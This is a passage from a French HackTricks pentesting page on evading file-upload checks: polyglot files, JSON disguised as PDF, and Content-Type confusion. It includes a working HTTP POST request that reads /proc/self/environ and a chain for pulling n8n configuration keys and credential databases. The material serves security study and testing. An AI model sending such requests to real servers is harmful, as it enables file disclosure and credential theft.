More information in: https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
Fichiers polyglottes
Les fichiers polyglottes sont un outil particulier en cybersécurité, agissant comme des caméléons pouvant exister valablement dans plusieurs formats de fichier simultanément. Un exemple intéressant est un GIFAR, un hybride qui fonctionne à la fois comme un GIF et comme une archive RAR. Ces fichiers ne se limitent pas à ce couple ; des combinaisons comme GIF et JS ou PPT et JS sont également possibles.
L’utilité principale des polyglottes réside dans leur capacité à contourner des mesures de sécurité qui filtrent les fichiers selon leur type. Il est courant que certaines applications n’autorisent que des types de fichiers spécifiques pour l’upload — comme JPEG, GIF ou DOC — afin de réduire le risque posé par des formats potentiellement dangereux (par ex. JS, PHP ou Phar files). Cependant, un polyglotte, en respectant les critères structurels de plusieurs formats, peut discrètement contourner ces restrictions.
Malgré leur adaptabilité, les polyglottes rencontrent des limites. Par exemple, bien qu’un polyglotte puisse incarner simultanément un PHAR file (PHp ARchive) et un JPEG, le succès de son upload peut dépendre de la politique d’extensions du système. Si le système est strict sur les extensions autorisées, la simple dualité structurelle d’un polyglotte peut ne pas suffire à garantir son upload.
More information in: https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
Télécharger des JSON valides comme s’il s’agissait de PDF
Comment éviter la détection du type de fichier en téléversant un fichier JSON valide même si ce n’est pas autorisé, en le faisant passer pour un PDF (techniques tirées de this blog post) :
mmmagiclibrary : Tant que les octets magiques%PDFse trouvent dans les 1024 premiers octets, c’est considéré comme valide (voir l’exemple dans l’article)pdfliblibrary : Ajouter un faux format PDF à l’intérieur d’un champ du JSON afin que la bibliothèque pense que c’est un PDF (voir l’exemple dans l’article)filebinary : Il peut lire jusqu’à 1048576 bytes depuis un fichier. Il suffit de créer un JSON plus grand que cela pour qu’il ne puisse pas parser le contenu comme du JSON, puis inclure dans le JSON la partie initiale d’un vrai PDF et il le considèrera comme un PDF
Confusion du Content-Type menant à une lecture arbitraire de fichiers
Certains upload handlers font confiance au corps de la requête parsé (par ex., context.getBodyData().files) puis copient le fichier depuis file.filepath sans d’abord vérifier Content-Type: multipart/form-data. Si le serveur accepte application/json, vous pouvez fournir un objet files factice pointant filepath vers n’importe quel chemin local, transformant le flux d’upload en une primitive de lecture arbitraire de fichiers.
Exemple de POST contre un workflow de formulaire renvoyant le binaire téléversé dans la réponse HTTP:
POST /form/vulnerable-form HTTP/1.1
Host: target
Content-Type: application/json
{
"files": {
"document": {
"filepath": "/proc/self/environ",
"mimetype": "image/png",
"originalFilename": "x.png"
}
}
}
Backend copie file.filepath, donc la réponse renvoie le contenu de ce chemin. Chaîne courante : lire /proc/self/environ pour connaître $HOME, puis $HOME/.n8n/config pour les clés et $HOME/.n8n/database.sqlite pour les identifiants utilisateur.
Références
- n8n form upload Content-Type confusion → arbitrary file read PoC
- When Audits Fail: Four Critical Pre-Auth Vulnerabilities in TRUfusion Enterprise
- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Upload%20insecure%20files
- https://github.com/modzero/mod0BurpUploadScanner
- https://github.com/almandin/fuxploider
- https://blog.doyensec.com/2023/02/28/new-vector-for-dirty-arbitrary-file-write-2-rce.html
- https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/
- https://medium.com/swlh/polyglot-files-a-hackers-best-friend-850bf812dd8a
- https://blog.doyensec.com/2025/01/09/cspt-file-upload.html
- usd HeroLab – Gibbon LMS arbitrary file write (CVE-2023-45878)
- NVD – CVE-2023-45878
- 0xdf – HTB: TheFrizz
- The Art of PHP: CTF‑born exploits and techniques
- CVE-2024-21546 – NVD entry
- PoC gist for LFM .php. bypass
- 0xdf – HTB Environment (UniSharp LFM upload → PHP RCE)
- HTB: Media — WMP NTLM leak → NTFS junction to webroot RCE → FullPowers + GodPotato to SYSTEM
- Microsoft – mklink (command reference)
- 0xdf – HTB: Certificate (ZIP NUL-name and stacked ZIP parser confusion → PHP RCE)
- When Audits Fail: From Pre-Auth SSRF to RCE in TRUfusion Enterprise
Tip
Apprenez et pratiquez le hacking AWS :
HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP :HackTricks Training GCP Red Team Expert (GRTE)
Apprenez et pratiquez le hacking Azure :
HackTricks Training Azure Red Team Expert (AzRTE)
Soutenir HackTricks
- Vérifiez les plans d’abonnement !
- Rejoignez le 💬 groupe Discord ou le groupe telegram ou suivez-nous sur Twitter 🐦 @hacktricks_live.
- Partagez des astuces de hacking en soumettant des PR au HackTricks et HackTricks Cloud dépôts github.


